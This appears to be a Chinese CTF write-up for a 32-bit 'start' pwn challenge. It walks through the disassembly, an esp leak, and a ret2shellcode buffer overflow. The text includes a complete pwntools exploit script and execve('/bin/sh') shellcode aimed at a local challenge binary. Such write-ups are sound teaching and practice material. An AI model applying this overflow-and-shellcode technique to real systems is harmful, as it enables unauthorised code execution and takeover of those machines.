看一下保护:
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
没有开的。
看一下汇编:
.text:08048060 ; __int64 start()
.text:08048060 public _start
.text:08048060 _start proc near ; DATA XREF: LOAD:08048018↑o
.text:08048060 push esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push ':FTC'
.text:08048073 push ' eht'
.text:08048078 push ' tra'
.text:0804807D push 'ts s'
.text:08048082 push 2774654Ch
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
.text:08048091 xor ebx, ebx
.text:08048093 mov dl, 3Ch ; '<'
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX -
.text:08048099 add esp, 14h
.text:0804809C retn
.text:0804809C _start endp ; sp-analysis failed
简单来说就是先输出一段字符串,再读一段字符串最后退出。读入的时候,buf 指向的的地址为 esp,buf 大小为 0x3C,可以覆盖到 _exit
上:
old esp
offset _exit <-- 只需要写 20 字节
':FTC'
' eht'
' tra'
'ts s'
2774654Ch <-- esp
因此我们可以把 shellcode 布局到栈上,然后做一个 ret2shellcode。
shellcode 就是简单的通过 sys_execve 系统调用执行 /bin/sh
方法啦。
接下来的问题是怎样才能找到 shellcode 的地址,我们可以泄露最开始 push 的 esp 的地址。
那么 crack 的流程为:
- 首先覆盖返回值为 0x08048087,这样在指行到返回地址的时候,esp 会加 0x14,指向的就是 old esp 了;
- 然后代码会输出 old esp 的值,再次进入读数据的阶段;
- 此时将 shellcode 写入,根据 esp 的偏移设置返回地址。注意到第二次 esp 又加了 0x14,因此我们需要在返回地址上也补充一个 0x14。
最终代码为:
from pwn import *
context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
# context.terminal = ['tmux', 'splitw', '-w']
# context.log_level = 'DEBUG'
io = process("./start")
payload = b'a'*20+p32(0x08048087)
io.sendafter(b"CTF:", payload)
# leak esp
old_esp = u32(io.recv(4))
print(f"old sp: {hex(old_esp)}")
shellcode = """
xor ecx,ecx
push ecx
push {}
push {}
mov ebx, esp
xor edx,edx
mov al, 0xb
int 0x80
""".format(u32('n/sh'),u32('//bi'))
# pwn
shellcode_loc = old_esp+20
payload = b'a'*20+p32(shellcode_loc)+asm(shellcode)
io.send(payload)
io.interactive()
技巧:
- 因为是 read,因此这里用 sendafter 系列函数就好;
- 为了避免
\x00
截断,我们可以先往栈上 push 一个值为 0 的寄存器